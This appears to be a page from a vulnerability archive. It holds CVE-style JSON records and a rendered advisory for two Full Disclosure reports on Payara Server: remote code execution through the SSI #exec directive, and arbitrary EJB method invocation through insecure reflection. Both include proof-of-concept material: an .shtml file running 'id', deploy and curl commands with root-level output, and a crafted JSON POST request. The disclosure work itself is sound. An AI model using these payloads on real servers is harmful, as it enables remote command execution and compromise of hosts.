"value": "*Description:*\nPayara Server contains a vulnerability in its Server-Side Includes (SSI)\nimplementation that allows arbitrary operating system command execution via\nthe #exec directive. The issue occurs because user-controlled SSI\ndirectives are passed directly to Runtime.exec() without validation,\nsanitization, or restriction. An attacker who can cause the server to\nprocess an SSI file (e.g., .shtml) can execute arbitrary OS commands with\nthe privileges of the Payara process. This vulnerability results in remote\ncode execution when SSI processing is enabled and accessible.\n\n*Affected Product:*\n\n - Payara Server (Community \u0026 Enterprise)\n - Affects versions where:\n - Server-Side Includes (SSI) are enabled\n - SSIExec command handling is available\n - #exec cmd is not explicitly disabled\n\n*Impact:*\n\n - Successful exploitation allows an attacker to:\n - Execute arbitrary OS commands\n - Read/write files on the server\n - Install backdoors or persistence mechanisms\n - Pivot to internal networks\n - Fully compromise the host system\n\n\n*Root Cause:*\n*The vulnerability exists in the following class:*\norg.apache.catalina.ssi.SSIExec\n\n*Specifically, the process() method executes untrusted input directly:*\nelse if (paramName.equalsIgnoreCase(\"cmd\")) {\n Runtime rt = Runtime.getRuntime();\n Process proc = rt.exec(substitutedValue);\n\n\n*Proof of Concept (PoC):*\n*Malicious SSI File:*\n\u003c!-- poc.shtml --\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch2\u003eSSI Exec Test\u003c/h2\u003e\n\u003cpre\u003e\n\u003c!--#exec cmd=\"id\" --\u003e\n\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n*Deployment:*\njar cf ssitest.war .\n$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war\n\n*Payload:*\ncurl http://localhost:8080/ssitest/poc.shtml\n\n*Output:*\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch2\u003eSSI Exec Test\u003c/h2\u003e\n\u003cpre\u003e\nuid=0(root) gid=0(root) groups=0(root)\n\n\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:51Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/19"
},
{
"url": "http://localhost:8080/ssitest/poc.shtml"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/19"
],
"discovery": "EXTERNAL"
},
"title": "Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0007",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/19",
"automated": true,
"contentSha256": "30e1d1d387b6afddce1098ee16d0b6e5cfa021ee513c8773ba0f68459e4a60e6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/19",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:51:02Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:51Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0007"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0006
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Payara 7.2026.1.RC1 Arbitrary EJB Method Invocation via Insecure Reflection in Payara Server
Summary
Payara Server exposes multiple HTTP-accessible EJB invocation mechanisms
that rely on attacker-controlled reflection, dynamic class loading, and
unsafe deserialization. These endpoints allow remote clients to perform
arbitrary JNDI lookups, resolve attacker-supplied class names, and invoke
EJB business methods via reflection without sufficient authorization
enforcement or input restriction.
Both the deprecated InvokeEJBServlet and the EjbOverHttpResource
(EJB-over-HTTP JAX-RS endpoint) implement the same insecure design pattern:
user-controlled inputs are used to select classes, methods, parameter
types, and argument values, which are then executed reflectively inside the
application context. Deprecation does not disable or mitigate the exposure,
leaving a powerful remote invocation surface reachable in production
deployments.
Affected Components
-
*EJB-over-HTTP JAX-RS Resource*
-
Class: fish.payara.ejb.http.endpoint.EjbOverHttpResource
-
Paths:
-
/jndi/lookup
-
/jndi/invoke
-
Media Types: JSON / Java Serialization
-
Technology: JAX-RS / EJB / JNDI / Reflection / JSON-B
-
*Deprecated HTTP Servlet*
-
Component: fish.payara.ejb.invoke.InvokeEJBServlet
-
Servlet Mapping: /ejb/*
-
Status: Deprecated but registered, reachable, and functional
Affected Versions
-
Payara Server versions that include and expose either:
-
InvokeEJBServlet, or
-
EjbOverHttpResource
*Vulnerability Details:*
The affected endpoints perform a series of insecure operations that
collectively expose a powerful reflection-based invocation surface.
User-supplied jndiName values are passed directly to InitialContext.lookup,
and the application context is dynamically switched based on parsed JNDI
input, enabling access to arbitrary EJBs within the target application and,
in some cases, across application boundaries. Once a target EJB is
resolved, attacker-controlled method names and parameter type names are
processed using Java reflection, and Method.invoke() is executed on EJB
proxies without any allowlisting, capability checks, or restriction to
intended business methods. In parallel, parameter and return types are
resolved using Class.forName() with the application’s class loader,
allowing resolution of any class visible within the application context.
User-supplied JSON payloads are then deserialized via JSON-B into
attacker-chosen target types, creating a generic deserialization sink that
feeds directly into the reflective invocation flow. Authentication is
optional and controlled by the client, while authorization failures do not
consistently terminate execution, allowing invocation logic to continue
after partial or failed security checks. Finally, detailed reflection and
invocation errors, such as NoSuchMethodException, are returned verbatim to
the client, disclosing internal EJB proxy class names, interface
structures, and method resolution behavior, which enables method and
interface enumeration and facilitates further exploitation.
*Impact:*
A remote attacker may be able to:
- Invoke arbitrary EJB business methods
- Access EJBs outside the intended application scope
- Bypass or weaken authorization controls
- Abuse JSON-B deserialization with attacker-chosen target types
- Enumerate internal classes, interfaces, and method signatures
- Trigger sensitive or administrative application functionality
- Potentially achieve remote code execution, depending on reachable
methods and classes
- The exposure of a generic reflection-based invocation primitive
significantly increases the attack surface of affected Payara deployments.
*Vulnerable Code — EjbOverHttpResource:*
*Attacker-Controlled JNDI Lookup*
Object bean = service.getBean(jndiName);
*Application Context Switching Based on User Input*
String applicationName = jndiName.substring(12, jndiName.indexOf('/', 12));
ClassLoader appClassLoader = service.getAppClassLoader(applicationName);
Thread.currentThread().setContextClassLoader(appClassLoader);
*Externally Controlled Class Resolution*
Class.forName(name, true, Thread.currentThread().getContextClassLoader());
*Reflection-Based Method Resolution*
Method method = findBusinessMethodDeclaration(
ejb,
request.method,
argTypes
);
*Reflection-Based Method Invocation*
Object result = method.invoke(
ejb,
request.argDeserializer.deserialise(
request.argValues,
method,
argActualTypes,
Thread.currentThread().getContextClassLoader()
)
);
*Unsafe JSON-B Serialization / Type Handling*
JsonbBuilder.create().toJson(result.result, returnType, output);
*Information Disclosure via Reflection Errors*
throw new NoSuchMethodException(
"No method matching " + methodName + "(" +
Arrays.toString(argTypeClasses) + ") found"
);
*Vulnerable Code — InvokeEJBServlet (Deprecated but Active):*
*Attacker-Controlled JNDI Lookup (Direct & Cross-Application)*
Object bean = new InitialContext().lookup(beanName);
*And the cross-application fallback:*
for (String applicationName : registry.getAllApplicationNames()) {
currentThread.setContextClassLoader(registry.get(applicationName).getAppClassLoader());
Object bean = new InitialContext().lookup(beanName);
return operation.execute(bean);
}
*Application Context Switching Based on User Input*
String applicationName = beanName.substring(12, beanName.indexOf('/', 12));
currentThread.setContextClassLoader(
registry.get(applicationName).getAppClassLoader()
);
*Externally Controlled Class Resolution*
Class.forName(className, true,
Thread.currentThread().getContextClassLoader());
(from toClass())
private static Class<?> toClass(JsonValue classNameValue) {
String className = ((JsonString) classNameValue).getString();
return Class.forName(className, true,
Thread.currentThread().getContextClassLoader());
}
*Reflection-Based Method Resolution Using Attacker Input*
this.method = findBusinessMethodDeclaration(methodName, argTypeClasses);
return intf.getMethod(methodName, argTypeClasses);
*Reflection-Based Method Invocation*
this.result = method.invoke(bean, argValues);
(from Invocation.invoke())
*Unsafe JSON-B Deserialization into Attacker-Chosen Types*
return jsonb.fromJson(objectValue.toString(), type);
(from toObject())
argValues[i] = toObject(jsonArgValues.get(i), argTypes[i]);
(from toObjects())
*Broken Authorization Enforcement (Execution Continues)*
if (!request.isUserInRole(role)) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
}
*Information Disclosure via Reflection Errors*
throw new NoSuchMethodException(
"No method matching " + methodName + "(" +
Arrays.toString(argTypeClasses) + ") found in business interface"
);
And error propagation:
response.sendError(
SC_INTERNAL_SERVER_ERROR,
"Error while invoking invoking method " + methodName +
" on EJB with name " + beanName + ": " + ex.getMessage()
);
*Proof of Concept:*POST /ejb-invoke-1.0/ejb/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"lookup": "java:global/ejb-invoke-1.0/TestBean",
"method": "exec",
"argTypes": ["java.lang.String"],
"argValues": ["test"]
}
*Output:*
HTTP/1.1 500 java.lang.NoSuchMethodException:
test.__EJB31_Generated__TestBean__Intf____Bean__.exec(java.lang.String)
Server: Payara Server 6.2024.6 #badassfish
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Payara",
"vendor": "Payara",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Payara Server exposes multiple HTTP-accessible EJB invocation mechanisms\nthat rely on attacker-controlled reflection, dynamic class loading, and\nunsafe deserialization. These endpoints allow remote clients to perform\narbitrary JNDI lookups, resolve attacker-supplied class names, and invoke\nEJB business methods via reflection without sufficient authorization\nenforcement or input restriction.\n\nBoth the deprecated InvokeEJBServlet and the EjbOverHttpResource\n(EJB-over-HTTP JAX-RS endpoint) implement the same insecure design pattern:\nuser-controlled inputs are used to select classes, methods, parameter\ntypes, and argument values, which are then executed reflectively inside the\napplication context. Deprecation does not disable or mitigate the exposure,\nleaving a powerful remote invocation surface reachable in production\ndeployments.\n\nAffected Components\n\n -\n\n *EJB-over-HTTP JAX-RS Resource*\n -\n\n Class: fish.payara.ejb.http.endpoint.EjbOverHttpResource\n -\n\n Paths:\n -\n\n /jndi/lookup\n -\n\n /jndi/invoke\n -\n\n Media Types: JSON / Java Serialization\n -\n\n Technology: JAX-RS / EJB / JNDI / Reflection / JSON-B\n -\n\n *Deprecated HTTP Servlet*\n -\n\n Component: fish.payara.ejb.invoke.InvokeEJBServlet\n -\n\n Servlet Mapping: /ejb/*\n -\n\n Status: Deprecated but registered, reachable, and functional\n\n\nAffected Versions\n\n -\n\n Payara Server versions that include and expose either:\n -\n\n InvokeEJBServlet, or\n -\n\n EjbOverHttpResource\n\n*Vulnerability Details:*\nThe affected endpoints perform a series of insecure operations that\ncollectively expose a powerful reflection-based invocation surface.\nUser-supplied jndiName values are passed directly to InitialContext.lookup,\nand the application context is dynamically switched based on parsed JNDI\ninput, enabling access to arbitrary EJBs within the target application and,\nin some cases, across application boundaries. Once a target EJB is\nresolved, attacker-controlled method names and parameter type names are\nprocessed using Java reflection, and Method.invoke() is executed on EJB\nproxies without any allowlisting, capability checks, or restriction to\nintended business methods. In parallel, parameter and return types are\nresolved using Class.forName() with the application\u2019s class loader,\nallowing resolution of any class visible within the application context.\nUser-supplied JSON payloads are then deserialized via JSON-B into\nattacker-chosen target types, creating a generic deserialization sink that\nfeeds directly into the reflective invocation flow. Authentication is\noptional and controlled by the client, while authorization failures do not\nconsistently terminate execution, allowing invocation logic to continue\nafter partial or failed security checks. Finally, detailed reflection and\ninvocation errors, such as NoSuchMethodException, are returned verbatim to\nthe client, disclosing internal EJB proxy class names, interface\nstructures, and method resolution behavior, which enables method and\ninterface enumeration and facilitates further exploitation.\n\n*Impact:*\nA remote attacker may be able to:\n\n - Invoke arbitrary EJB business methods\n - Access EJBs outside the intended application scope\n - Bypass or weaken authorization controls\n - Abuse JSON-B deserialization with attacker-chosen target types\n - Enumerate internal classes, interfaces, and method signatures\n - Trigger sensitive or administrative application functionality\n - Potentially achieve remote code execution, depending on reachable\n methods and classes\n - The exposure of a generic reflection-based invocation primitive\n significantly increases the attack surface of affected Payara deployments.\n\n\n\n*Vulnerable Code \u2014 EjbOverHttpResource:*\n*Attacker-Controlled JNDI Lookup*\nObject bean = service.getBean(jndiName);\n\n*Application Context Switching Based on User Input*\nString applicationName = jndiName.substring(12, jndiName.indexOf(\u0027/\u0027, 12));\nClassLoader appClassLoader = service.getAppClassLoader(applicationName);\nThread.currentThread().setContextClassLoader(appClassLoader);\n\n*Externally Controlled Class Resolution*\nClass.forName(name, true, Thread.currentThread().getContextClassLoader());\n\n*Reflection-Based Method Resolution*\nMethod method = findBusinessMethodDeclaration(\n ejb,\n request.method,\n argTypes\n);\n\n*Reflection-Based Method Invocation*\nObject result = method.invoke(\n ejb,\n request.argDeserializer.deserialise(\n request.argValues,\n method,\n argActualTypes,\n Thread.currentThread().getContextClassLoader()\n )\n);\n\n*Unsafe JSON-B Serialization / Type Handling*\nJsonbBuilder.create().toJson(result.result, returnType, output);\n\n*Information Disclosure via Reflection Errors*\nthrow new NoSuchMethodException(\n \"No method matching \" + methodName + \"(\" +\n Arrays.toString(argTypeClasses) + \") found\"\n);\n\n*Vulnerable Code \u2014 InvokeEJBServlet (Deprecated but Active):*\n\n*Attacker-Controlled JNDI Lookup (Direct \u0026 Cross-Application)*\nObject bean = new InitialContext().lookup(beanName);\n*And the cross-application fallback:*\nfor (String applicationName : registry.getAllApplicationNames()) {\n\ncurrentThread.setContextClassLoader(registry.get(applicationName).getAppClassLoader());\n Object bean = new InitialContext().lookup(beanName);\n return operation.execute(bean);\n}\n\n*Application Context Switching Based on User Input*\nString applicationName = beanName.substring(12, beanName.indexOf(\u0027/\u0027, 12));\ncurrentThread.setContextClassLoader(\n registry.get(applicationName).getAppClassLoader()\n);\n\n*Externally Controlled Class Resolution*\nClass.forName(className, true,\nThread.currentThread().getContextClassLoader());\n(from toClass())\nprivate static Class\u003c?\u003e toClass(JsonValue classNameValue) {\n String className = ((JsonString) classNameValue).getString();\n return Class.forName(className, true,\n Thread.currentThread().getContextClassLoader());\n}\n\n*Reflection-Based Method Resolution Using Attacker Input*\nthis.method = findBusinessMethodDeclaration(methodName, argTypeClasses);\nreturn intf.getMethod(methodName, argTypeClasses);\n\n*Reflection-Based Method Invocation*\nthis.result = method.invoke(bean, argValues);\n(from Invocation.invoke())\n\n*Unsafe JSON-B Deserialization into Attacker-Chosen Types*\nreturn jsonb.fromJson(objectValue.toString(), type);\n(from toObject())\nargValues[i] = toObject(jsonArgValues.get(i), argTypes[i]);\n(from toObjects())\n\n*Broken Authorization Enforcement (Execution Continues)*\nif (!request.isUserInRole(role)) {\n response.setStatus(HttpServletResponse.SC_FORBIDDEN);\n}\n\n*Information Disclosure via Reflection Errors*\nthrow new NoSuchMethodException(\n \"No method matching \" + methodName + \"(\" +\n Arrays.toString(argTypeClasses) + \") found in business interface\"\n);\nAnd error propagation:\nresponse.sendError(\n SC_INTERNAL_SERVER_ERROR,\n \"Error while invoking invoking method \" + methodName +\n \" on EJB with name \" + beanName + \": \" + ex.getMessage()\n);\n\n\n*Proof of Concept:*POST /ejb-invoke-1.0/ejb/ HTTP/1.1\nHost: localhost:8080\nContent-Type: application/json\n\n{\n \"lookup\": \"java:global/ejb-invoke-1.0/TestBean\",\n \"method\": \"exec\",\n \"argTypes\": [\"java.lang.String\"],\n \"argValues\": [\"test\"]\n}\n\n*Output:*\n\nHTTP/1.1 500 java.lang.NoSuchMethodException:\ntest.__EJB31_Generated__TestBean__Intf____Bean__.exec(java.lang.String)\nServer: Payara Server 6.2024.6 #badassfish\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:50Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/18"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/18"
],
"discovery": "EXTERNAL"
},
"title": "Payara 7.2026.1.RC1 Arbitrary EJB Method Invocation via Insecure Reflection in Payara Server",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0006",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/18",
"automated": true,
"contentSha256": "182a7e08978a96dd01492ec11a69b1388632cbfd5842c19681d53697ec1d14f6",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:50:19Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:50Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0006"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 241 - 250 publications in total 387